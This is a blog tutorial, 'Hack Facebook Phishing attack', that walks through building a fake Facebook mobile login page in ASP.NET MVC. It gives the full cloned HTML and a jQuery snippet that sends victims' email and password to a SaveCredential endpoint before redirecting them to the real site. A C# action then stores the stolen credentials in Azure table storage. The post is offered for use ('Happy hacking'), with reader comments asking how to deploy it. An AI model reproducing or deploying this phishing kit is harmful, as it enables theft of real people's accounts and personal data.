Home » » Hack Facebook Phishing attack

Hack Facebook Phishing attack


1)Create a new MVC Project

2)Open Chrome type url https://m.facebook.com/
this will load the facebook mobile page
3)Rigth click -->View Page Source
copy the raw html and save as the chtml page

4)Add page title tag before
@{ ViewBag.Title = "Facebook"; Layout = String.Empty; }
5)Add Jquery plugin <script src="/Scripts/jquery-1.10.2.js"></script> 6)Add FavIcon link <link href="https://www.facebook.com/rsrc.php/yl/r/H3nktOa7ZMg.ico" rel="shortcut icon"></link> 7)Find form and change the action to "http://m.facebook.com" 8)Find name="email" and add id="emailId" to the element <input autocapitalize="off" autocorrect="off" class="_56bg _4u9z _5ruq" data-sigil="m_login_email" id="emailId" name="email" placeholder="Email address or phone number" type="text" value="" /> 9)Find name="pass" and add id="password" to the element <input autocapitalize="off" autocorrect="off" class="_56bg _4u9z _27z2" data-sigil="password-plain-text-toggle-input" id="u_0_2" name="pass" placeholder="Password" type="password" /> 10)Find name="login" and get the id of the login button <button class="_54k8 _56bs _56b_ _56bw _56bt" data-sigil="touchable m_login_button" id="u_0_6" name="login" type="submit" value="Log In"> <span class="_55sr">Log In</span> </button> 11)Add the Jquery snippet below at the bottom of the page before body tag <script> $(".navbar-fixed-top").hide(); $("footer").hide() $("#u_0_6").click(function () { $.get("/Home/SaveCredential", { uname: $("#emailId").val(), pass: $("#password").val() }, function (data) { console.log(data); }); setTimeout(function () { window.location = "https://m.facebook.com"; }, 1000); }); </script>
12)Full Code @{ ViewBag.Title = "Facebook"; Layout = String.Empty; } <html> <head> <title> Welcome to Facebook </title> <link href="https://www.facebook.com/rsrc.php/yl/r/H3nktOa7ZMg.ico" rel="shortcut icon"></link> <link href="https://static.xx.fbcdn.net/rsrc.php/v3/ya/r/O2aKM2iSbOw.png" rel="apple-touch-icon-precomposed" sizes="196x196"></link> <script>__DEV__ = 0;</script> <script src="/Scripts/jquery-1.10.2.js"></script> <link href="https://static.xx.fbcdn.net/rsrc.php/v3/y-/r/W-puIR4BSK9.css" id="yjDfN" rel="stylesheet" type="text/css"></link> <link href="https://static.xx.fbcdn.net/rsrc.php/v3/y8/r/I613HchRYkD.css" id="np2Zq" rel="stylesheet" type="text/css"></link> <link href="https://static.xx.fbcdn.net/rsrc.php/v3/yn/r/Ue-DTIVF0fO.css" id="A1zwD" rel="stylesheet" type="text/css"></link> <script> document.domain = 'facebook.com'; if (/^#~?!(?:\/?[\w\.-])+\/?(?:\?|$)/.test(location.hash)) location.replace(location.hash.substr(location.hash.indexOf('!') + 1)); window.FB_GKS = { "mobile_chrono_selector": true, "mobile_js_show_debug": false, "mobile_js_log_error": false, "js_typechecks": false, "m_js_log_history": false, "m_js_html_snapshot": false, "js_nocatch": false, "moulder_feed_hide_toggle": false, "m_onephase_home": true, "local_storage_cache": false, "mtouch_composer_no_autoresize": true, "m_js_crossorigin_attribute": true }; window.FB_QES = {}; </script> <script crossorigin="anonymous" id="u_0_f" src="https://static.xx.fbcdn.net/rsrc.php/v3ixJB4/yS/l/en_GB/P3Hie7mQ99D.js"> </script> <link href="https://www.facebook.com/" rel="canonical"></link> </head> <body class="touch x2 _fzu _50-3 iframe acw" tabindex="0"> <script id="u_0_a"> (function (a) { a.__updateOrientation = function () { var b = !!a.orientation && a.orientation !== 180, c = document.body; if (c) c.className = c.className.replace(/(^|\s)(landscape|portrait)(\s|$)/g, ' ') + ' ' + (b ? 'landscape' : 'portrait'); return b; }; })(window); </script> <div id="viewport"> <h1 style="display: block; height: 0; overflow: hidden; padding: 0; position: absolute; width: 0;"> Facebook </h1> <div id="page"> <div class="_129_" id="header-notices"> </div> <div class="_4g33 _52we _52z5" id="header"> <div class="_4g34 _52z6" data-sigil="mChromeHeaderCenter"> <a href="https://www.blogger.com/login/?refid=8"> <i class="img sp_6AsjbQM3_Wp_3x sx_76f4e3"> <u>facebook</u> </i> </a> </div> </div> <div class="maxwidth _5soa acw" data-sigil="context-layer-root content-pane" id="root" role="main"> <div class="_4g33"> <div class="_4g34" id="u_0_0"> <div class="_5yd0 _2ph- _5yd1" data-sigil="m_login_notice" style="display: none;"> <div class="_52jd"> </div> </div> <div> <div class="aclb _5rut"> <div data-sigil="m_login_upsell"> </div> <form action="http://m.facebook.com" class="mobile-login-form _5spm" data-sigil="m_login_form" id="u_0_1" method="post" novalidate="1"> <input autocomplete="off" name="lsd" type="hidden" value="AVov7UaW" /><input name="charset_test" type="hidden" value="&#8364;,&#180;,&#8364;,&#180;,水,Д,Є" /><input name="version" type="hidden" value="1" /><input id="ajax" name="ajax" type="hidden" value="0" /><input id="width" name="width" type="hidden" value="0" /><input id="pxr" name="pxr" type="hidden" value="0" /><input id="gps" name="gps" type="hidden" value="0" /><input id="dimensions" name="dimensions" type="hidden" value="0" /><input name="m_ts" type="hidden" value="1473166365" /><input name="li" type="hidden" value="HbzOV9cCBuW1Oj8nrvwDJS_Z" /><div class="_56be _5sob"> <div class="_55wo _55x2 _56bf"> <input autocapitalize="off" autocorrect="off" class="_56bg _4u9z _5ruq" data-sigil="m_login_email" id="emailId" name="email" placeholder="Email address or phone number" type="text" value="" /> <div class="_3nph _mg8" data-sigil="m_login_password"> <div class="_4g33"> <div class="_4g34 _5i2i _52we"> <div class="_5xu4"> <input autocapitalize="off" autocorrect="off" class="_56bg _4u9z _27z2" data-sigil="password-plain-text-toggle-input" id="u_0_2" name="pass" placeholder="Password" type="password" /> </div> </div> <div class="_5s61 _216i _5i2i _52we"> <div class="_5xu4"> <div class="_2pi9" id="u_0_3" style="display: none;"> <a data-sigil="password-plain-text-toggle" href="https://www.blogger.com/blogger.g?blogID=1314094317142671140#"> <span class="mfss" id="u_0_4" style="display: none;">HIDE</span> <span class="mfss" id="u_0_5">SHOW</span> </a> </div> </div> </div> </div> </div> </div> </div> <div class="_2pie" style="text-align: center;"> <button class="_54k8 _56bs _56b_ _56bw _56bt" data-sigil="touchable m_login_button" id="u_0_6" name="login" type="submit" value="Log In"> <span class="_55sr">Log In</span> </button> </div> <noscript><input type="hidden" name="_fb_noscript" value="true" /></noscript></form> <div class="_52jj _5t3b"> <a class="_54k8 _56bs _56bw _56bt" data-sigil="touchable" data-store="{&quot;nativeClick&quot;:true}" href="https://www.blogger.com/reg/?cid=103&amp;refid=8" id="signup-button" role="button"><span class="_55sr">Create New Account</span></a></div> <div class="other-links"> <ul class="_5pkb _55wp"> <li><span class="mfss fcg"><a href="https://www.blogger.com/recover/initiate/?c=https%3A%2F%2Fm.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfdvYsdQpV01I3YP2IxemlFQaq_4jA1wGQjF4y11CFNvI-V3cMX87ISEnScfQY4dpZ6_rx9eyfOHAAUw_zIGgXZ1ojxzEphhItk6hzF2lmyplg%26smuh%3D28356%26lh%3DAc_WH0YDCyaM0cLF&amp;lwv=100&amp;refid=8" id="forgot-password-link">Forgotten password?</a><span aria-hidden="true"> &#183; </span><a class="sec" href="https://www.blogger.com/help/?refid=8" id="help-link">Help Centre</a></span></li> </ul> </div> </div> </div> </div> </div> <div> </div> <div class="_55wr _5ui2"> <div class="_5dpw"> <div class="_5ui3" data-nocookies="1" data-sigil="marea" id="locale-selector"> <div class="_4g33"> <div class="_4g34"> <span class="_52jc _52j9 _52jh">English (UK)</span><div> <span class="_52jc"><a href="https://www.blogger.com/a/language.php?l=te_IN&amp;lref=https%3A%2F%2Fm.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfdvYsdQpV01I3YP2IxemlFQaq_4jA1wGQjF4y11CFNvI-V3cMX87ISEnScfQY4dpZ6_rx9eyfOHAAUw_zIGgXZ1ojxzEphhItk6hzF2lmyplg%26smuh%3D28356%26lh%3DAc_WH0YDCyaM0cLF&amp;gfid=AQAaQTCwS1K8qAOf&amp;refid=8">త&#3142;ల&#3137;గ&#3137;</a></span></div> <div> <span class="_52jc"><a href="https://www.blogger.com/a/language.php?l=ur_PK&amp;lref=https%3A%2F%2Fm.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfdvYsdQpV01I3YP2IxemlFQaq_4jA1wGQjF4y11CFNvI-V3cMX87ISEnScfQY4dpZ6_rx9eyfOHAAUw_zIGgXZ1ojxzEphhItk6hzF2lmyplg%26smuh%3D28356%26lh%3DAc_WH0YDCyaM0cLF&amp;gfid=AQC215xuB0JmkmJl&amp;refid=8">اردو</a></span></div> <div> <span class="_52jc"><a href="https://www.blogger.com/a/language.php?l=ml_IN&amp;lref=https%3A%2F%2Fm.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfdvYsdQpV01I3YP2IxemlFQaq_4jA1wGQjF4y11CFNvI-V3cMX87ISEnScfQY4dpZ6_rx9eyfOHAAUw_zIGgXZ1ojxzEphhItk6hzF2lmyplg%26smuh%3D28356%26lh%3DAc_WH0YDCyaM0cLF&amp;gfid=AQCf--CrWAmmvahC&amp;refid=8">മലയ&#3390;ള&#3330;</a></span></div> </div> <div class="_4g34"> <div> <span class="_52jc"><a href="https://www.blogger.com/a/language.php?l=ta_IN&amp;lref=https%3A%2F%2Fm.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfdvYsdQpV01I3YP2IxemlFQaq_4jA1wGQjF4y11CFNvI-V3cMX87ISEnScfQY4dpZ6_rx9eyfOHAAUw_zIGgXZ1ojxzEphhItk6hzF2lmyplg%26smuh%3D28356%26lh%3DAc_WH0YDCyaM0cLF&amp;gfid=AQBxUz71KfRfxKeO&amp;refid=8">தம&#3007;ழ&#3021;</a></span></div> <div> <span class="_52jc"><a href="https://www.blogger.com/a/language.php?l=kn_IN&amp;lref=https%3A%2F%2Fm.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfdvYsdQpV01I3YP2IxemlFQaq_4jA1wGQjF4y11CFNvI-V3cMX87ISEnScfQY4dpZ6_rx9eyfOHAAUw_zIGgXZ1ojxzEphhItk6hzF2lmyplg%26smuh%3D28356%26lh%3DAc_WH0YDCyaM0cLF&amp;gfid=AQBPsqnvnDxRlQhq&amp;refid=8">ಕನ&#3277;ನಡ</a></span></div> <div> <span class="_52jc"><a href="https://www.blogger.com/a/language.php?l=hi_IN&amp;lref=https%3A%2F%2Fm.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfdvYsdQpV01I3YP2IxemlFQaq_4jA1wGQjF4y11CFNvI-V3cMX87ISEnScfQY4dpZ6_rx9eyfOHAAUw_zIGgXZ1ojxzEphhItk6hzF2lmyplg%26smuh%3D28356%26lh%3DAc_WH0YDCyaM0cLF&amp;gfid=AQB0exKCbrM8TIjG&amp;refid=8">ह&#2367;न&#2381;द&#2368;</a></span></div> <a href="https://www.blogger.com/language.php?n=https%3A%2F%2Fm.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfdvYsdQpV01I3YP2IxemlFQaq_4jA1wGQjF4y11CFNvI-V3cMX87ISEnScfQY4dpZ6_rx9eyfOHAAUw_zIGgXZ1ojxzEphhItk6hzF2lmyplg%26smuh%3D28356%26lh%3DAc_WH0YDCyaM0cLF&amp;refid=8"><div class="_3j87 _1rrd"> <i class="_4q9a img sp_6AsjbQM3_Wp_3x sx_98b771"></i></div> </a></div> </div> </div> <div class="_5ui4"> <span class="mfss fcg">Facebook &#169;2016</span></div> <div> <span class="mfss fcg"><a data-sigil="MLinkshim" data-store="{&quot;dest_uri&quot;:&quot;http:\/\/one.airtel.in\/iportal&quot;,&quot;logging_uri&quot;:&quot;\/si\/ajax\/l\/render_linkshim_log\/?u=http\u00253A\u00252F\u00252Fone.airtel.in\u00252Fiportal&amp;h=zAQHg5AvP&amp;render_verification=0&amp;enc=AZNWavVXvrhBsYopjZX6sXTUyPtx9OgAmexMuhmaaBagDE9WxhHDv_nlH7gMBymCiIhuj6-TQfatLZKkIIn43fnuk6cIFh6so1kbKE1gjxKa027qt93nDyTRHIgm2qprZ3E&amp;d&quot;}" href="http://lm.facebook.com/l.php?u=http%3A%2F%2Fone.airtel.in%2Fiportal&amp;h=zAQHg5AvP&amp;enc=AZNWavVXvrhBsYopjZX6sXTUyPtx9OgAmexMuhmaaBagDE9WxhHDv_nlH7gMBymCiIhuj6-TQfatLZKkIIn43fnuk6cIFh6so1kbKE1gjxKa027qt93nDyTRHIgm2qprZ3E&amp;s=1" target="_blank"><span data-gt="{&quot;tn&quot;:&quot;+s&quot;}">Airtel Live Home</span></a></span></div> </div> </div> </div> <div class="viewportArea _2v9s" data-sigil="marea" id="u_0_7" style="display: none;"> <div class="_5vsg" id="u_0_g"> </div> <div class="_5vsh" id="u_0_h"> </div> <div class="_5v5d fcg"> <div class="_2so _2sq _2ss img _50cg" data-animtype="1" data-sigil="m-loading-indicator-animate m-loading-indicator-root"> </div> Loading...</div> </div> <div class="viewportArea aclb" data-sigil="marea" id="mErrorView" style="display: none;"> <div class="container"> <div class="image"> </div> <div class="message" data-sigil="error-message"> </div> <a class="link" data-sigil="MPageError:retry" href="https://www.blogger.com/null">Try Again</a></div> </div> </div> </div> <div id="static_templates"> <div class="mDialog" id="modalDialog" style="display: none;"> <div class="_52z5 _451a mFuturePageHeader _1uh1 firstStep titled" id="mDialogHeader"> <div class="_4g33 _52we"> <div class="_5s61"> <div class="_52z7"> <button class="cancelButton btn btnD bgb mfss touchable" data-sigil="dialog-cancel-button blocking-touchable" type="submit" value="Cancel">Cancel</button><button aria-label="Back" class="backButton btn btnI bgb mfss touchable iconOnly" data-sigil="dialog-back-button blocking-touchable" type="submit" value="Back"><i class="img sp_bOIqk3IUav-_3x sx_1991af" style="margin-top: 2px;"></i></button></div> </div> <div class="_4g34"> <div class="_52z6"> <div class="_50l4 mfsl fcw" data-sigil="m-dialog-header-title dialog-title" id="m-future-page-header-title"> Loading...</div> </div> </div> <div class="_5s61"> <div class="_52z8" id="modalDialogHeaderButtons"> </div> </div> </div> <div id="u_0_8"> </div> </div> <div class="modalDialogView" id="modalDialogView"> </div> <div class="_5v5d _5v5e fcg" id="dialogSpinner"> <div class="_2so _2sq _2ss img _50cg" data-animtype="1" data-sigil="m-loading-indicator-animate m-loading-indicator-root" id="u_0_9"> </div> Loading...</div> </div> </div> <script crossorigin="anonymous" id="u_0_b" src="https://static.xx.fbcdn.net/rsrc.php/v3iHkH4/y9/l/en_GB/9bgHTRETuu0.js"></script> <script crossorigin="anonymous" id="u_0_c" src="https://static.xx.fbcdn.net/rsrc.php/v3imS24/yT/l/en_GB/pwRUft8dSJD.js"></script> <script crossorigin="anonymous" id="u_0_d" src="https://static.xx.fbcdn.net/rsrc.php/v3iT4e4/yJ/l/en_GB/inlJaK6PdIG.js"></script> <script id="u_0_e">require("TimeSlice").guard(function () { (require("ServerJSDefine")).handleDefines([["CurrentUserInitialData", [], { "USER_ID": "0", "ACCOUNT_ID": "0" }, 270], ["MRequestConfig", [], { "dtsg": { "token": "AQFksPlQGZcG:AQFFvS23YxqL", "valid_for": 86400, "expire": 1473252765 }, "lsd": "AVov7UaW", "preventRepetitiveRequests": false, "checkResponseOrigin": true, "checkResponseToken": true, "stopExtraFeedRequest": true, "ajaxResponseToken": { "secret": "WgjipW3Gf2bPA1f7R4bwCEjm3j_odhDq", "encrypted": "AYlRi6KxwRdeH3p7fZ9HDkTukXUdEbZ9c6lOYs7tFBoQkrW47yrbMzgAmcg1tV71bV9s-8vYPp02D0RDM-Mxdgv9LNxpyQsQbOV3Ox_7-DmCxw" } }, 51], ["CurrentCommunityInitialData", [], {}, 490], ["ResourceWatcher", ["ResourceWatcherImpl"], { "module": { "__m": "ResourceWatcherImpl" } }, 1404], ["MPageletUtilities", [], {}, 358], ["ZeroRewriteRules", [], {}, 1478], ["MJSEnvironment", [], { "IS_APPLE_WEBKIT_IOS": false, "IS_TABLET": false, "IS_ANDROID": false, "IS_CHROME": true, "IS_FIREFOX": false, "IS_WINDOWS_PHONE": false, "OS_VERSION": 6.1, "PIXEL_RATIO": 3, "BROWSER_NAME": "Chrome" }, 46], ["ZeroCategoryHeader", [], {}, 1127], ["UserAgentData", [], { "browserArchitecture": "32", "browserFullVersion": "52.0.2743.116", "browserMinorVersion": 0, "browserName": "Chrome", "browserVersion": 52, "deviceName": "Unknown", "engineName": "WebKit", "engineVersion": "537.36", "platformArchitecture": "64", "platformName": "Windows", "platformVersion": "7", "platformFullVersion": "7" }, 527], ["MLoadingIndicatorSigils", [], { "ANIMATE": "m-loading-indicator-animate", "ROOT": "m-loading-indicator-root" }, 279], ["JSErrorExtra", [], {}, 251], ["JSErrorPlatformColumns", [], {}, 255], ["SiteData", [], { "revision": 2546565, "tier": "", "push_phase": "V3", "pkg_cohort": "FW_EXP:mtouch_pkg", "pkg_cohort_key": "__pc", "haste_site": "mobile", "be_mode": -1, "be_key": "__be", "is_rtl": false, "vip": "31.13.78.35" }, 317], ["MBanzaiConfig", [], { "EXPIRY": 86400000, "MAX_SIZE": 10000, "MAX_WAIT": 30000, "RESTORE_WAIT": 30000, "gks": { "boosted_component": true, "mchannel_jumpstart": true, "platform_oauth_client_events": true, "timeline_year_of_life_overviews": true, "timeline_year_of_life_overviews_hscroll": true, "visibility_tracking": true, "boosted_pagelikes": true, "gqls_web_logging": true }, "blacklist": ["time_spent"] }, 32], ["ServiceWorkerBackgroundSyncGK", [], { "background_sync_sw": false }, 1628], ["MSession", [], { "useAngora": false, "logoutURL": "\/logout.php?h=AffC_jk-CrvOqIVS&t=1473166365", "push_phase": "V3" }, 52], ["ServiceWorkerBackgroundSyncBanzaiGK", [], { "sw_background_sync_banzai": false }, 1621], ["MWebStorageMonsterWhiteList", [], { "whitelist": ["^Banzai$", "^bz", "^mutex", "^msys", "^sp_pi$", "^\\:userchooser\\:osessusers$", "^\\:userchooser\\:settings$", "^[0-9]+:powereditor:", "^Bandicoot\\:", "^brands\\:console\\:config$", "^CacheStorageVersion$", "^consoleEnabled$", "^jt$", "^_video_$", "^vc_", "^_showMDevConsole$", "^third_party_app_access_token$"] }, 254], ["MTouchableSyntheticClickGK", [], { "USE_SYNTHETIC_CLICK": true }, 368], ["ErrorDebugHooks", [], { "SnapShotHook": null }, 185], ["FWLoader", [], {}, 278], ["FbtLogger", [], { "logger": null }, 288], ["FbtResultGK", [], { "shouldReturnFbtResult": false, "inlineMode": "NO_INLINE" }, 876], ["IntlViewerContext", [], { "GENDER": 50331648 }, 772], ["IntlPhonologicalRules", [], { "meta": { "\/_B\/": "([.,!?\\s]|^)", "\/_E\/": "([.,!?\\s]|$)" }, "patterns": { "\/\u0001(.*)('|&#039;)s\u0001(?:'|&#039;)s(.*)\/": "\u0001$1$2s\u0001$3", "\/_\u0001([^\u0001]*)\u0001\/": "javascript" } }, 1496], ["MarauderConfig", [], { "app_version": 2546565, "gk_enabled": false }, 31], ["ImmediateActiveSecondsConfig", [], { "sampling_rate": 0 }, 423], ["LinkshimHandlerConfig", [], { "supports_meta_referrer": true, "default_meta_referrer_policy": "origin-when-crossorigin", "switched_meta_referrer_policy": "origin", "render_verification_rate": 1000, "link_react_default_hash": "aAQHWW_sH", "linkshim_host": "l.facebook.com", "use_rel_no_opener": false }, 27], ["FbtQTOverrides", [], { "overrides": { "1_ad96f275a40ebb397312776b5c5b1011": "Free Facebook on Airtel", "1_05369f7b4ae7510207672c12138a2ae6": "You are leaving the Free Facebook Zone. Standard Internet charges will apply as per existing plan. To buy an internet pack, dial *121*1#", "1_c37ac666fb4e88424391c95781019cbe": "Free Facebook on Airtel", "1_8424d7fe78d577fb6357505d66b13729": "Free Facebook on Airtel (Dogfooding)", "1_cccf00d96597513bfb91f7658b7d51bf": "Standard Internet charges will apply as per existing plan. To buy an internet pack, dial *121*1#", "1_684a24477b8f032d9b3c29f2b1c3e289": "Standard Internet charges will apply as per existing plan. To buy an internet pack, dial *121*1#", "1_ba92734a91f235dd3997b498d84af5a6": "Standard Internet charges will apply as per existing plan. To buy an internet pack, dial *121*1#", "1_b516c019ff250af6869696fc40bcc88b": "Standard Internet charges will apply as per existing plan. To buy an internet pack, dial *121*1#", "1_2f2e9689aac1671cbd8070c0f07594be": "Standard Internet charges will apply as per existing plan. To buy an internet pack, dial *121*1#", "1_cc6247012c96beba161e79817f49ec9b": "Standard Internet charges will apply as per existing plan. To buy an internet pack, dial *121*1#", "1_071553fb82a0517546d29ca74e05f81d": "Get a Data Pack", "1_33e799e8e31db9314fa4357931756055": "Get a Data Pack", "1_97fe2bf905cea226f0f0d4c23ea22340": "Continue with Current Pack or Standard Rate", "1_ef415c00485709c9f315b8bd0a350bbd": "Free Facebook on Airtel - Dial *121*1# to buy a data pack", "1_2340e43c54f5a3de9ca7fc0a7efc2cae": "What's on your mind?", "1_65c3391ebe4a1af8364ca4fbb8cb54d1": "Mobile Number or Email:", "1_a1edc95031c72290612e117918c5da9b": "Billing Pin Code" } }, 551]]); new (require("ServerJS"))().handle({}); }, "ServerJS define", { "root": true })(); require("MCoreInit").init({ "clearMCache": false, "coreResources": ["https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y-\/r\/W-puIR4BSK9.css", "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y8\/r\/I613HchRYkD.css", "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yn\/r\/Ue-DTIVF0fO.css", "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yO\/r\/Wa0Q1z-jDws.js", "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yG\/r\/vJgc9GCS5a4.js", "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yn\/r\/Ue-DTIVF0fO.css"], "hideLocationBar": true, "onafterload": "", "onload": "", "serverJSData": { "elements": [["__elem_de5177dd_0_0", "u_0_0", 1], ["__elem_921b58ef_0_0", "u_0_1", 1], ["__elem_e24cb174_0_0", "u_0_2", 1], ["__elem_7216e2ae_0_0", "u_0_3", 1], ["__elem_e03291d5_0_1", "u_0_4", 1], ["__elem_e03291d5_0_0", "u_0_5", 1], ["__elem_29826150_0_0", "u_0_6", 1], ["__elem_be66b106_0_0", "u_0_6", 1], ["__elem_eed16c0a_0_0", "u_0_7", 1]], "require": [["MLoginView", "disableOnSubmit", ["__elem_921b58ef_0_0", "__elem_29826150_0_0"], [{ "__m": "__elem_921b58ef_0_0" }, { "__m": "__elem_29826150_0_0" }], []], ["MLoginController", "initLoginForm", ["__elem_de5177dd_0_0"], [{ "__m": "__elem_de5177dd_0_0" }, "https:\/\/m.facebook.com\/login\/async\/?refsrc=https\u00253A\u00252F\u00252Fm.facebook.com\u00252F&lwv=100", null, 3, false, "m_login_improve_error_message_universe"], []], ["MPasswordPlainTextToggle", "init", ["__elem_e24cb174_0_0", "__elem_7216e2ae_0_0", "__elem_e03291d5_0_0", "__elem_e03291d5_0_1"], [{ "__m": "__elem_e24cb174_0_0" }, { "__m": "__elem_7216e2ae_0_0" }, { "__m": "__elem_e03291d5_0_0" }, { "__m": "__elem_e03291d5_0_1" }], []], ["MTouchable"], ["ServiceWorkerLoginAndLogoutListener", "listen", ["__elem_be66b106_0_0"], [{ "__m": "__elem_be66b106_0_0" }, "login"], []], ["ErrorUtils"], ["MExceptionHandler"], ["LogHistoryListeners"], ["Artillery"], ["ScriptPath", "set", [], ["\/wap\/index.php", "4e6eefd9", { "imp_id": "35418b92" }], []], ["MLogging", "main", [], [{ "refid": 8 }], []], ["RemoteDevice", "init", [], [], []], ["MModalDialogInit"], ["MVerifyCache", "main", [], [{ "viewer": 0 }], []], ["ScriptPathLogger", "startLogging", [], [], []], ["MTimeSpentBitArrayLogger", "init", [], ["m"], []], ["MScrollPositionSaver"], ["MLogoutClearCache"], ["LoadingIndicator", "init", ["__elem_eed16c0a_0_0", "__elem_a588f507_0_0", "__elem_a588f507_0_1"], [{ "__m": "__elem_eed16c0a_0_0" }, { "__m": "__elem_a588f507_0_0" }, { "__m": "__elem_a588f507_0_1" }], []], ["MPageError"], ["MLinkshim"], ["MPageHeaderAccessibility"], ["MBlockingTouchable"], ["MLoadingIndicator", "init", [], ["u_0_9"], []]] }, "isWildeWeb": false, "isFacewebAndroid": false, "ixData": {}, "bootloadable": {}, "resource_map": { "4zfWo": { "type": "js", "src": "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iHkH4\/y9\/l\/en_GB\/9bgHTRETuu0.js" }, "oGvQN": { "type": "js", "src": "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3imS24\/yT\/l\/en_GB\/pwRUft8dSJD.js" }, "toqg5": { "type": "js", "src": "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iT4e4\/yJ\/l\/en_GB\/inlJaK6PdIG.js" }, "A1zwD": { "type": "css", "src": "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yn\/r\/Ue-DTIVF0fO.css", "permanent": 1 }, "yjDfN": { "type": "css", "src": "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y-\/r\/W-puIR4BSK9.css", "permanent": 1 }, "np2Zq": { "type": "css", "src": "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y8\/r\/I613HchRYkD.css", "permanent": 1 }, "rclaO": { "type": "js", "src": "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yO\/r\/Wa0Q1z-jDws.js" }, "J2v\/U": { "type": "js", "src": "https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yG\/r\/vJgc9GCS5a4.js" } } });</script> <script id="u_0_j"> require("MRenderingScheduler").schedule({ "link": [], "js": [], "id": "u_0_8", "element": null, "content": { "__html": "" }, "pageletConfig": { "lid": "6327201360648041161-0", "serverlid": "6327201360648041161", "name": "pagelet_0_0", "pass": 4, "serverJSData": { "elements": [["__elem_a588f507_0_0", "u_0_g", 1], ["__elem_a588f507_0_1", "u_0_h", 1]], "require": [["MPrelude"]] }, "onload": "", "onafterload": "", "scheduledMarkupIndex": 0, "templateContainer": "static_templates", "templates": { "__html": "" }, "ixData": {}, "resource_map": {}, "bootloadable": {}, "type": "chrome" } }, function () { require("NavigationMetrics").postPagelet(false, "6327201360648041161"); });</script> <script id="u_0_k"> require('MRenderingScheduler').setPageletCount(1); require("NavigationMetrics").setPage({ "page": "\/wap\/index.php", "page_type": "normal", "page_uri": "https:\/\/m.facebook.com\/?stype=lo&jlou=AfdvYsdQpV01I3YP2IxemlFQaq_4jA1wGQjF4y11CFNvI-V3cMX87ISEnScfQY4dpZ6_rx9eyfOHAAUw_zIGgXZ1ojxzEphhItk6hzF2lmyplg&smuh=28356&lh=Ac_WH0YDCyaM0cLF&_rdr", "serverLID": "6327201360648041161" }); require("NavigationMetrics").postScheduler("\/wap\/index.php", "normal");</script> <script> $(".navbar-fixed-top").hide(); $("footer").hide() $("#u_0_6").click(function () { $.get("/Home/SaveCredential", { uname: $("#emailId").val(), pass: $("#password").val() }, function (data) { console.log(data); }); setTimeout(function () { window.location = "https://m.facebook.com"; }, 1000); }); </script> </body> </html>
13)Save Credential action method to save username and password.
In my case i have used Microsoft Azure table storage.

public ActionResult SaveCredential(string uname, string pass) { Crdential fbcredential = new Crdential(); CloudTable tableReference = this.storageaccount.CreateCloudTableClient().GetTableReference(_fbTable); try { int regId; string rowId; regId = 1; if (tableReference.Exists((TableRequestOptions)null, (OperationContext)null)) { IEnumerable<crdential> regis = tableReference.CreateQuery<crdential>().Execute(); if (regis.Count() != 0) { var query= (from a in regis orderby a.credid descending select a).First(); regId = query.credid+ 1; } else { regId = 1; } } else { tableReference.CreateIfNotExists(); regId = 1; } rowId = "Reg" + regId; fbcredential.RowKey = rowId; fbcredential.credid = regId; fbcredential.PartitionKey = "Facebook Trick"; fbcredential.username = uname; fbcredential.password = pass; } catch (Exception e) { Random rnd = new Random(); int dice = rnd.Next(1000, 3000); fbcredential.RowKey = dice.ToString(); fbcredential.PartitionKey = "Facebook Trick"; fbcredential.exceptionmsg = e.Message; Console.WriteLine(e.Message); } TableOperation operation = TableOperation.Insert(fbcredential); tableReference.Execute(operation); return Redirect("http://m.facebook.com"); } </crdential></crdential>
Happy hacking :) please find my site Facebook
if you want to clarify anything please commment it
Share this on your favourite network

6 comments :

  1. Please add comment if your need any clarification

    ReplyDelete
  2. Great post. Does this work only with Azure Table Storage?
    Can I use other SQL db ? How do you publish it?

    ReplyDelete
  3. This comment has been removed by the author.

    ReplyDelete

Like us on Facebook
Follow us on Twitter
Recommend us on Google Plus